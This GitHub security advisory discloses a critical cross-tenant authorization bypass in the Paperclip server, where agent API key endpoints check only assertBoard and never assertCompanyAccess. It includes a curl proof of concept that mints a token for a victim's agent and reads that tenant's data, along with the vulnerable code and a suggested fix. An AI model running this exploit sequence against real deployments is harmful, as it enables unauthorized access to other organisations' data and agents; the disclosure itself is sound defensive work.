Skip to content

Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

Critical severity GitHub Reviewed Published Apr 16, 2026 in paperclipai/paperclip • Updated Apr 16, 2026

Package

npm @paperclipai/server (npm)

Affected versions

< 2026.416.0

Patched versions

2026.416.0

Description

01-setup

Isolated paperclip instance running in authenticated mode (default config)
on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and
DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintext
pcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then calls
assertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.

Trigger Conditions

  1. Paperclip running in authenticated mode (the public, multi-user
    configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
  2. PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same
    default precondition as GHSA-68qg-g8mg-6pr7).
  3. At least one other company exists on the instance with at least one
    agent. In practice this is the normal state of any production paperclip
    deployment. The attacker needs the victim agent's ID, which leaks through
    activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that
    the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker
is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:

02-signup

> Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow > (no invite, no verification) and confirms via `GET /api/companies` that she > is a member of zero companies. She has no tenant access through the normal > authorization path.
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []

03-exploit

> Step 3 — the vulnerability. Mallory POSTs to `/api/agents/:id/keys` > targeting an agent in Victim Corp (a company she is NOT a member of). The > server returns a plaintext `pcp_*` token tied to the victim's `companyId`. > There is no authorization error. `assertBoard` passed because Mallory is a > board user; `assertCompanyAccess` was never called.
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

04-exfil

> Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware` > resolves it to `actor = { type: "agent", companyId: VICTIM }`, so every > downstream `assertCompanyAccess` gate authorizes reads against Victim Corp. > Mallory can now enumerate the victim's company metadata, issues, approvals, > and agent configuration — none of which she had access to 30 seconds ago.
# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of submission):

  • POST /api/agents/:id/keys201 with plaintext token bound to
    the victim's companyId
  • GET /api/companies/:victimId200 full company metadata
  • GET /api/companies/:victimId/issues200 issue list
  • GET /api/companies/:victimId/agents200 agent list
  • GET /api/companies/:victimId/approvals200 approval list

Impact

  • Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639,
    CWE-862, CWE-1220)
  • Who is impacted: every paperclip instance running in authenticated
    mode with default PAPERCLIP_AUTH_DISABLE_SIGN_UP (open signup). That is
    the documented multi-user configuration and the default in
    docker/docker-compose.quickstart.yml.
  • Confidentiality: HIGH. Any signed-up user can read another tenant's
    company metadata, issues, approvals, runs, and agent configuration (which
    includes adapter URLs, model settings, and references to stored secret
    bindings).
  • Integrity: HIGH. The minted token is a persistent agent credential
    that authenticates for every assertCompanyAccess-gated agent-scoped
    mutation in the victim tenant (issue/run updates, self-wakeup with
    attacker-controlled payloads, adapter execution via the agent's own
    adapter, etc.).
  • Availability: HIGH. The attacker can pause, terminate, or
    DELETE any agent in any company via the sibling assertBoard-only
    handlers (/agents/:id/pause, /resume, /terminate,
    DELETE /agents/:id).
  • Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added
    assertInstanceAdmin on POST /companies/import and closed the disclosed
    chain, but the same root cause (assertBoard treated as sufficient where
    assertCompanyAccess is required on a cross-tenant resource, or where
    assertInstanceAdmin is required on an instance-global resource) is
    present in multiple other handlers. The import fix did not audit sibling
    routes. This report is an instance of that same class the prior advisory
    did not cover.

Severity is driven by the fact that every precondition is default, the bug
is reachable by any signed-up user with zero memberships, and the stolen
token persists across sessions until manually revoked.

Suggested Fix

In server/src/routes/agents.ts, replace each of the three /keys handlers
so they load the target agent first and enforce company access:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  ...
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Look up the key to find its agentId/companyId, then:
  const key = await svc.getKeyById(keyId);
  if (!key) { res.status(404).json({ error: "Key not found" }); return; }
  assertCompanyAccess(req, key.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

While fixing this, audit the sibling lifecycle handlers at lines 1962-2048
(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which
share the same bug.

Defense in depth: consider a code-wide sweep for assertBoard(req) calls
that are not immediately followed by assertCompanyAccess or
assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the
pattern is systemic.

Patch Status

  • Latest image at time of writing: ghcr.io/paperclipai/paperclip:latest
    digest sha256:baa9926e..., commit b649bd4
    (canary/v2026.411.0-canary.8), which is after the 2026.410.0 import
    bypass fix.
  • The bug is still present on that revision. PoC reproduced end-to-end
    against an unmodified container.

Credits

Discovered by pwnkit, an
AI-assisted security scanner, during variant-hunt analysis of
GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip
instance.

References

@cryppadotta cryppadotta published to paperclipai/paperclip Apr 16, 2026
Published to the GitHub Advisory Database Apr 16, 2026
Reviewed Apr 16, 2026
Last updated Apr 16, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Insufficient Granularity of Access Control

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-47wq-cj9q-wpmp

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.